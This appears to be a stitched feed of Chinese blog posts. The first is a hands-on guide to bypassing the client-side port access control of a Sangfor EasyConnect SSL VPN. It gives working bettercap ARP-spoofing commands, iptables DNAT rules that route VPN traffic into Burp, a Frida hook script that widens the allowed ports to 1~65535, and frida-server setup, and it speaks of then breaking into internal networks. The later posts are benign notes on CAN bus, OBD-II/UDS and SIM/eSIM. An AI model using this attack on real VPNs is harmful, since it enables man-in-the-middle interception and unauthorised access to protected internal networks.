还可以Hook客户端来绕过端口的访问控制,不过这样也挺麻烦。虽然是很简单的东西,但是通过实践,学到了一些技巧,记录下来。
我尝试了三个方法,都需要用到BurpSuite。既然属于中间人攻击,那么Burp就要开启透明代理了。
Bettercap是实战用的中间人攻击工具,但是在白盒实践中最不稳定。
1
bettercap -I ens38 -G 192.168.1.1 -T target_ip -S ARP --custom-proxy burp_suite_ip --custom-proxy-port 8080
首先VPN服务器端口是443,因此需要把端口443重定向到Burp的8080,当然使用root权限运行Burp可以监听443端口,这样就不用重定向端口了。
1
sudo bettercap -I ens38 -G 192.168.1.1 -T target_ip -S ARP --custom-proxy burp_suite_ip --custom-proxy-port 8080 --custom-https-proxy burp_suite_ip --custom-https-proxy-port 8080 --custom-redirection "TCP 443 8080"
环境如下:
也可以直接修改hosts,但是Burp的监听端口要与VPN端口一致。
1
echo "target_ip vpn.test.com" >> /etc/hosts
这种方法最稳定,应用场景很多,而且适用于客户端主机无法使用本地代理的场景:
首先深信服VPN在Linux兼容性很差,所以只能在Win上或者移动端运行。因此最好网关和客户端主机分开,环境如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19# 开启IPv4内核转发
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
iptables -t raw -F
iptables -t raw -X
iptables -t security -F
iptables -t security -X
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
# 假设客户端主机网段是192.168.1.0/24,客户端主机通过中间人网关机的eth0上网
iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -o eth0 -j MASQUERADE
# 当访问VPN服务器的地址vpn_server_ip:443时,目标地址转换成burp_suite_ip:8080
iptables -t nat -A PREROUTING -d vpn_server_ip -p tcp --dport 443 -j DNAT --to-destination burp_suite_ip.:8080
首先,设置Burp的替换规则。
其次,开始登录VPN。
当/por/rclist.csp请求完毕,马上取消Burp代理,否则会导致访问太慢VPN断开,取消Burp代理依然能够保持网络链接。这一点上方法3最方便,不需要在客户端主机操作,方法2比较麻烦,方法1很大可能有延迟。
这时候客户端接收到的ACL表的端口范围已经被篡改。
首先查看NAT表的PREROUTING链号码是1。
1
2
3
4> iptables -t nat -L --line-number
Chain PREROUTING (policy ACCEPT)
num target prot opt source destination
1 DNAT tcp -- anywhere vpn_server_ip tcp dpt:https to:burp_suite_ip:8080
将其删去,就能绕过客户端的端口ACL了。
1
iptables -t nat -D PREROUTING 1
这里只实践安卓平台的,没有加固,比较方便。首先用jadx打开easyconnect,然后找到"rclist.csp"的关键字。
一路跟过去,找到适合Hook服务端返回结果的位置。
然后编写Hook脚本,把端口范围设置成最大,保存为2.js。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15function hookIt()
{
var rclist=Java.use("com.sangfor.vpn.client.service.d.a");
rclist.a.overload('java.lang.String').implementation=replacePorts;
}
function replacePorts(str)
{
str = str.replace(/port="[^\"]+"/g, 'port="1~65535"');
console.log("str replaced: " + str);
var result = this.a(str);
return result;
}
Java.perform(hookIt);
我的安卓设备是64位的,有root权限,通过adb开启Frida服务
1
2
3adb push frida-server-10.7.6-android-arm64 /data/local/tmp/
adb shell chmod 755 /data/local/tmp/frida-server-10.7.6-android-arm64
adb shell su -c /data/local/tmp/frida-server-10.7.6-android-arm64
使用frida-ps找到Easyconnect的进程名
1
frida-ps -aU | grep sangfor
运行Frida,制定Hook脚本和进程名
1
frida -U -l 2.js com.sangfor.vpn.client.phone
可以看到端口范围已经被修改。
以上步骤在实战中都很繁琐,其实可以通过深信服SSL VPN的SDK来开发一个无限制版,不过也太麻烦了,只是绕个端口而已,还不去多撸几台服务器直接打入内网。
汽车行业非常严谨,许多产品都要按照规范设计,首先要搞清楚ISO与SAE的关系。
SAE的J系列标准是为地面交通工具编写的标准,几乎涉及每一个电子元件,面向美国,而ISO是国际标准,国标欧标都会参考ISO的标准。ISO会参考SAE提供的标准发布新的标准。而且ISO发布的一个标准可能包含多个SAE起草的标准。
汽车内部由许多电子控制单元(Electronic Control Unit, ECU),分别负责不同的工作,如门控单元、灯控单元等,起初它们都使用点对点的通信方式,而且每项信息都通过独立的数据线进行交换,随着ECU数量的增加,需要消耗的线束也会成倍增加,导致成本增加,占用更多的空间,增加更多重量,而且内部连接也会变得更加复杂,存在更多的隐患。因此工程师们设计了基于总线通信的方案,每个ECU都连接在一条总线上面,避免了点对点通信方式存在的隐患。
SAE根据传输速度把总线网络分成四类
类别 | 速率 | 应用 | 协议类型 |
---|---|---|---|
A类 | 低于10Kb/s | 车门、空调、座椅 | LIN |
B类 | 10到125Kb/s | 尾气信息、仪表数据 | CAN |
C类 | 125Kb/s到1Mb/s | 牵引力控制系统、制动系统 | CAN |
D类 | 1Mb/s到10Mb/s | 多媒体系统 | Most、FlexRay、Byteflight |
现在国内外汽车内部总线网络大多都使用CAN,也有用LIN,MOST,FlexRay,以太网等网络,目前应用最广泛的还是CAN,本笔记以CAN为中心,延伸到各个知识点。因为众多车企CAN的实现有细节略有差异,也许不符合规范,规范不能满足所有业务要求是一个原因,为了统一,本笔记以ISO规范为准。
CAN (Controller Area Network,符合ISO 11898)是控制器局域网络,是制造业和汽车产业种使用的一种网络协议,具有速率快,距离远的优点。嵌入式系统和ECU能够使用CAN协议进行通信。1992年,CAN数据链路层和CAN高速物理层在ISO 11898中已经被国际标准化,由七个部分组成,4、5、6部分稍微看了一下,是对1,2,3的一些缺陷的补充,比较有意义,但是目前国内汽车领域很少使用,所以暂不深入,每部分标题下:
下图是在不同的角度对CAN的分类,CAN的标准和网络模型层次还有实现的关系,目前ISO 11898只涉及物理层(Physical Layer, PL),数据链路层(Data Link Layer, DLL)和应用层(Application Layer, AL)。
根据ISO/IEC 8802-2规范(IEEE 802.2),数据链路层可以分为两个子层
物理层可以分为三个子层:
站在CAN的角度,ECU可以看作是由以下部分组成
CAN使用双线差分信号,数据传输在两条线路上:CANH(+)和CANL(-),通信介质可以是同轴电缆、光纤或双绞线(twisted pair),有效降低外界干扰,以便差分电路提取出有用信号。一般使用双绞线作为介质构成串行总线,总线端点加入了终端匹配电阻(阻值和阻抗相匹配),防止数据在线端被反射,影响数据的传输。新型的CAN总线使用分布式电阻,又叫ECU负载电阻,即发动机控制单元内的“中央末端电阻”和其他控制单元内的高欧姆电阻。CAN上节点采用多主通讯方式访问总线,每个节点都通过总线相互连接,对节点数量没有限制,所以报文是广播出去的,所有节点都能收到。
CAN信号的传输方式根据MAU的定义可分为高速CAN(ISO 11898-2)和低速CAN(ISO 11898-3)。
ISO11519是低速CAN的标准。起初,高速CAN数据链路层和物理层都在标准ISO11898中规定,后来被拆分为ISO11898-1(仅涉及数据链路层)和ISO11898-2(仅涉及物理层)。其中标准ISO 11519-2-1994已经在2006年被ISO 11898-3-2006代替了,也就是说符合标准ISO 11898-3的产品也是支持符合ISO 11519-2标准的产品。
汽车内部网络可以拓扑多种多样,但是ISO 11898给出的拓扑建议只有线性和星状。高速CAN的拓扑是线性的,阻抗为120Ω,为了保证传输质量,每个节点之间的距离越近越好。
低速CAN的拓扑可以是线性也可以是星状。
一个汽车内的网络拓扑可以有多种网络共同组成,一般用以太网(Internet Protocal)作为主干网。
不同的网络通过网关(Gateway, GW)进行互通,网关是用于提供协议转换、数据交换等网络兼容功能的设备。
网关 不同网络的优先级 网关的主要功能是使连接在不同的数据总线上的控制单元能够交换数据,可以安装在仪表内,也可以在ECU内。
低速CAN又称容错CAN,是因为差分信号本身就有避免共模信号干扰的特性,而且低速CAN电平变化幅度比高速CAN更急,所以容错CAN可以靠单线传输,可以在CAN_H或CAN_L出现短路、断路时保证通信正常。
高速CAN的电平波形图低速CAN的电平波形图
当一个设备输出低电平,而另一设备输出高电平,总线上的电平还是低电平,所以站在逻辑的角度,CAN bus可以有两种逻辑状态:显性(recesive)和隐性(dominant)。根据电平可称为显性电平和隐性电平,因此可以把它当作二进制流,显态为0,隐态为1。
首先找到双绞线,可以通过颜色区分汽车线束上的CAN总线,不同厂商可能数量和颜色都不一样
当Vcc的标称电压为5V的理想情况下,CAN总线电压如下,可以根据线束电压特点找到并区分CAN线。但要注意部分总线存在睡眠模式(舒适、信息娱乐存在,动力总线无睡眠模式),新型的CAN总线有低功耗模式。
CAN可以分为高层协议和底层协议,CAN的应用层协议也叫基于CAN的高层扩展协议(HLP),一般在第七层。
下面是基于CAN的高层扩展协议。
物理层把模拟信号转换成数字信号传给数据链路层,帧可以看作是数据链路层控制的协议数据单元(Protocol Data Unit, PDU),每层PDU的叫法都不一样。物理层称作位(bit),网络层称作包(packet),应用层称作报文(message)。
CAN节点之间数据的发送和接收由4种不同的帧掌控。
数据帧和远程帧通过帧间空间(interframe space)与上一帧(不论类型)分开,错误帧和超载帧则不用通过帧间空间与上一帧分开。帧间空间包括分隔域和总线空闲(bus idle),分隔域由三个隐性电位组成,总线上没有帧被传输的时是空闲状态,这时候总线处于静电位,也就是隐态(1),可以任意长度。
CAN协议包括经典的CAN和新推出的CAN FD(CAN with Flexible Data rate)。经典CAN即CAN 2.0,由博世在1991年推出,A/B(part A and part B)。CAN FD由博世和其他专家在2011年推出,又叫灵活CAN。A部分和B部分分别规范了两种帧格式:标准帧和扩展帧。因此数据帧可以分为4种:
CAN数据帧大体结构如下主要由8个部分组成
CAN的有效载荷为8字节,传输速率1Mb/s。CAN FD(CAN with Flexible Data-Rate)有效载荷可以大于8字节,最高64字节,因此传输速率可达8Mb/s。CAN和CAN FD的帧结构相同,细节不一样。
扩展帧可以链接在一起形成更长的ID。扩展帧用替代远程请求(SRR)代替远程传输请求(RTR),标识符扩展(IDE)也设位1。
CAN和以太网都是属于广播形式的网络,为了减少数据的冲突和重传,以太网使用了载波监听多路访问/冲突检测(Carrier Sense Multiple Access/Collision Detection, CSMA/CD)机制,在发送数据之前,以太网会“监听”线缆,判断是否已经有其他数据传输。
CAN里面也使用了这个机制,把这种解决冲突的方式称作仲裁,当总线空闲的时候,任何节点都可以传输以上帧。
仲裁期间,发送器会使用一种逐位仲裁的方式(bit-wise arbitration),帧头(Start of Frame, SOF)的比特位是0,在确定总线空闲之后,帧头才能被发送,紧接着在11位仲裁域,对比每一个被传输的比特位和总线上被监视的电位,如果和其他帧冲突马上就能发现。显性位优先,仲裁ID的值越低,优先级越高。
下图因为Node3的仲裁ID的值最低,所以优先传输。
逐位仲裁可以解决不同ID或者不同类型的帧冲突,如果一个数据帧和一个远程帧冲突,数据帧优先,因为数据帧RTR位是显态(0),如果冲突的帧相同ID相同类型,则会仲裁失败并产生错误帧。没有响应或因错误导致帧损坏会仲裁失败,这种情况会自动把帧重传。
当多个节点同时广播消息时,为了解决冲突,优先级较高的节点作为主节点,其他节点作为从节点,一个请求和其对应的响应的ID是一致的,冲突产生时,较高优先级的主节点传输数据不受影响,优先级低的节点主动回退作为从节点。等待优先级高的节点传输结束,总线空闲之后重新传输。
规范的制定者把这种产生冲突依然能传送帧的机制称作无损仲裁(non-destructive arbitration)。和以太网不一样,以太网检测到冲突会让所有节点回退。
在DeviceNet(IEC 62026-3)协议里,把逐位仲裁和无损仲裁的机制统称为:载波监听多路访问逐位无损仲裁(Carrier Sense Multiple Access/Non-destructive Bit-wise Arbitration, CSMA/NBA)
因为ISO 11898-1定义的标准CAN是基于事件触发,在实时性方面不足,在ISO 11898-4里描述了一种基于时间触发的CAN发送机制(TTCAN),利用不同的时间槽避免消息的冲突,目前还没有被广泛实现。
CAN有多种检测错误的措施,监视比较发送器对发送位的电平与被监控的总线电平进行,检查帧格式,CRC校验(经典CAN15位,CAN-FD数据长度8到16比特的17位,数据长度20到64比特的21位),检查填充位,检查ACK。
车载诊断(On-Board Diagnostics, OBD)起初用于尾气排放监测。设想起源于美国通用汽车公司开发的专利:装配线诊断链(ALDL,Assembly Line Diagnostic Link)。通过标准化故障诊断码(diagnostic trouble codes, DTCs, ISO 15031-6/SAE J2012)可以快速识别和纠正车内故障。
ISO 15031是车辆和发射相关诊断用外部设备之间通信的规范,总共七个部分
在OBD-I的阶段,不同的厂商的诊断连接器、连接器位置、DTC和数据读写方式都不同。OBD-II标对连接协议等定制了详细的规范。OBD-II连接器符合SAE J1962标准,有公头(A)和母头(B)组成。D形头,16-pin(2x8)。
以母头示例,引脚定义如下图
在接CAN的条件下,4是外壳接地,5是信号接地,6是CAN_H,14是CAN_L,16是12v直流电源正极。15031-3也定义了其他协议(ISO 14230,SAE J1850)总线的引脚。
现在车载诊断主流的标准是ODB-II(ISO 15765),是基于CAN的扩展协议。1996年美国要求所有汽车都要实现OBD-II,2003年欧盟要求所有汽车都要实现EOBD(几乎和OBD-II一样),2006年国III标准要求汽车要带有OBD,便于检测尾气排放。所以现在几乎所有汽车都配有OBD接口,一般在主驾驶舱的底部,一般通过DB9连接到电脑端。
英版DB9排列美版DB9排列
ODB-II规范分为四部分:
把ODB-II按照OSI七层模型划分,可以分为三类
参考表格对比,右侧是法律要求统一的车载诊断规范,左侧是厂商可定制的增强型诊断(Enhanced diagnosic),在应用层实现了模块化诊断框架,面向所有ECU,称之为统一诊断服务(Unified Diagnostic Services,UDS)。
下图是UDS在CAN上面的实现,标记了每一层用到的规范。其中UDS规范就是ISO 14229。
UDS为每个的服务的请求和响应定义了不同的ID
CiA: https://www.can-cia.org/can-knowledgeWiki: CAN busCAN BasicsZLG致远电子:一文读懂容错CAN!Wiki: On-board diagnosticsTHE CAR HACKER’S HANDBOOKWiki: Unified Diagnostic ServicesUDS - ISO 14229 Info - Softing AutomotiveISO 11898ISO 14229ISO 15031ISO 15765SAE J1962
]]>SIM(subscriber identification module,客户识别模块)是一个能够安全储存移动通讯配置的IC。
然而,SIM卡是2G网络时代下的叫法,因为SIM由硬件和软件组成。而在3G时代,SIM变成了纯应用程序,和CSIM,USIM一样,可以运行在UICC里面,UICC(universal integrated circuit card,通用集成电路卡)就是我们手机里插的所谓SIM卡(SIM card),属于IC智能卡的一种,下图包含多种智能卡。SIM卡的叫法沿用至今,是不准确的,应该叫UICC,但是为了用户体验,厂商还是称作SIM卡,所以后面说的SIM卡就是指UICC智能卡。
SIM卡有数据存储的功能,存放了用来识别和验证客户端的配置信息。
目前找回丢失手机原理,就是通过查IMEI对应的ICCID锁定手机号,这个ICCID就是新插入SIM卡的识别码。
SIM卡的IC包括CPU、ROM、RAM、EEPROM和I/O,尺寸也是越做越小,直到2016年出现的e-SIM。
Embedded-SIM/embedded universal integrated circuit card嵌入式SIM(Embedded-SIM,又称eSIM,e-SIM),也叫做eUICC。是芯片格式的SIM卡,大多数采用SON-8封装。
eSIM是下一代SIM卡技术,遵循GSMA(全球移动通信系统协会,GSM Association)规范,核心思想是将SIM卡硬件(eUICC)的生产与运营商数据(Profile)的生产分离。运营商通过空中写卡方式将Profile下载,非常安全,不会被中间人攻击。
优点:
局限:
所以目前只有物联网设备使用eSIM。
eSIM与SIM卡的引脚定义根据引脚定义可以把eSIM飞线到SIM卡槽上,VPP引脚可以不接。
在安全方面,SIM卡使用的是单向鉴权机制:在接入网络时只对SIM卡做身份认证,曾有黑客表示可以在短时间内远程控制任何一个SIM卡号码,甚至复制。而USIM卡使用的则是双向鉴权机制:通过AUTN(认证令牌)实现用户和网络的鉴权,接入网络时不仅对USIM卡进行身份认证,USIM卡同时也要对网络进行身份认证,因此可大幅提升破解难度,还能有效地识别或屏蔽伪基站,提升网络通讯的安全。